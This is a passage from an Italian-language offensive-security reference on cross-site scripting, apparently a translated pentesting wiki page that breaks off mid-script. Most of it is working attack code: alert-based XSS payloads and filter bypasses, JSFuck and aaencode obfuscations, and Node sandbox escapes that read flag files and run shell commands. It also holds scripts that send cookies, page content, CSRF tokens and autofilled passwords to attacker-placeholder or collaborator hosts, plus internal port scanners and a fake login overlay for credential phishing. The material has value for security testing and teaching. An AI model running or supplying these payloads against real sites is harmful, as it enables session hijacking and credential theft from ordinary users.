// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Chiamata di funzione arbitraria (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Vulnerabilità DOM

C'è del codice JS che utilizza dati controllati in modo non sicuro da un attaccante come location.href. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.
A causa dell'estensione della spiegazione di vulnerabilità DOM è stata spostata in questa pagina:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Lì troverai una dettagliata spiegazione di cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post menzionato puoi trovare una spiegazione sugli attacchi DOM Clobbering.

Aggiornamento Self-XSS

Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un sottodominio vulnerabile a XSS, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:

{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} cookie-tossing.md {% endcontent-ref %}

Puoi trovare un grande abuso di questa tecnica in questo post del blog.

Inviare la tua sessione all'amministratore

Forse un utente può condividere il proprio profilo con l'amministratore e se il self XSS è all'interno del profilo dell'utente e l'amministratore vi accede, attiverà la vulnerabilità.

Session Mirroring

Se trovi del self XSS e la pagina web ha un session mirroring per gli amministratori, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.

Potresti far attivare il tuo self XSS all'amministratore e rubare i suoi cookie/sessione.

Altri Bypass

Unicode Normalizzato

Potresti controllare se i valori riflessi vengono normalizzati in unicode nel server (o nel lato client) e abusare di questa funzionalità per bypassare le protezioni. Trova un esempio qui.

Bypass del flag PHP FILTER_VALIDATE_EMAIL

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

A causa di RoR mass assignment le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.
Esempio di modulo (da questo report), se invii il payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

La coppia "Key","Value" verrà restituita in questo modo:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Poi, l'attributo onfocus verrà inserito e si verifica XSS.

Combinazioni speciali

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS con iniezione di intestazioni in una risposta 302

Se scopri che puoi iniettare intestazioni in una risposta di reindirizzamento 302, potresti provare a far eseguire al browser JavaScript arbitrario. Questo è non banale poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.

In questo report e questo puoi leggere come testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.
Protocolli noti in passato: mailto://, //x:1/, ws://, wss://, intestazione Location vuota, resource://.

Solo lettere, numeri e punti

Se sei in grado di indicare il callback che JavaScript andrà a eseguire limitato a quei caratteri. Leggi questa sezione di questo post per scoprire come abusare di questo comportamento.

Tipi di contenuto <script> validi per XSS

(Da qui) Se provi a caricare uno script con un content-type come application/octet-stream, Chrome restituirà il seguente errore:

Rifiutato di eseguire lo script da https://uploader.c.hc.lc/uploads/xxx' perché il suo tipo MIME (application/octet-stream) non è eseguibile e il controllo rigoroso del tipo MIME è abilitato.

Gli unici Content-Type che consentiranno a Chrome di eseguire uno script caricato sono quelli all'interno della costante kSupportedJavascriptTypes da https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipi di Script per XSS

(From here) Quindi, quali tipi potrebbero essere indicati per caricare uno script?

<script type="???"></script>

La risposta è:

  • modulo (predefinito, nulla da spiegare)
  • webbundle: Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Consente di migliorare la sintassi di importazione
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Questo comportamento è stato utilizzato in questo writeup per rimappare una libreria a eval per abusarne e può attivare XSS.

  • speculationrules: Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona in questo modo:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Tipi di contenuto web per XSS

(Da qui) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? non nella lista ma penso di averlo visto in un CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

In altri browser possono essere utilizzati altri Content-Types per eseguire JS arbitrario, controlla: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Tipo di contenuto xml

Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Special Replacement Patterns

Quando qualcosa come "some {{template}} data".replace("{{template}}", <user_input>) viene utilizzato. L'attaccante potrebbe usare sostituzioni di stringhe speciali per cercare di eludere alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Ad esempio in questo writeup, questo è stato usato per scappare una stringa JSON all'interno di uno script ed eseguire codice arbitrario.

Chrome Cache to XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS Jails Escape

Se hai solo un insieme limitato di caratteri da usare, controlla queste altre soluzioni valide per i problemi di XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Se tutto è indefinito prima di eseguire codice non affidabile (come in questo articolo), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:

  • Utilizzando import()
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Accessing require indirectly

Secondo questo i moduli sono incapsulati da Node.js all'interno di una funzione, in questo modo:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Pertanto, se da quel modulo possiamo chiamare un'altra funzione, è possibile utilizzare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

In un modo simile all'esempio precedente, è possibile utilizzare i gestori di errori per accedere al wrapper del modulo e ottenere la funzione require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Offuscamento e Bypass Avanzato

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

Payload comuni XSS

Diversi payload in 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Trappola Iframe

Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare le sue azioni (inclusi i dati inviati nei moduli):

{% content-ref url="../iframe-traps.md" %} iframe-traps.md {% endcontent-ref %}

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Non sarai in grado di accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai alcuni modi per bypassare questa protezione se sei abbastanza fortunato. {% endhint %}

Rubare Contenuto della Pagina

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Trova IP interni

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Scanner di porte (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Scanner di porte (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Si tempi brevi indicano una porta che risponde Tempi più lunghi indicano nessuna risposta.

Controlla l'elenco delle porte vietate in Chrome qui e in Firefox qui.

Box per richiedere credenziali

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Cattura delle password di auto-compilazione

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Quando vengono inseriti dati nel campo della password, il nome utente e la password vengono inviati al server dell'attaccante, anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrate.

Keylogger

Cercando su github ho trovato alcuni diversi:

Furto di token CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
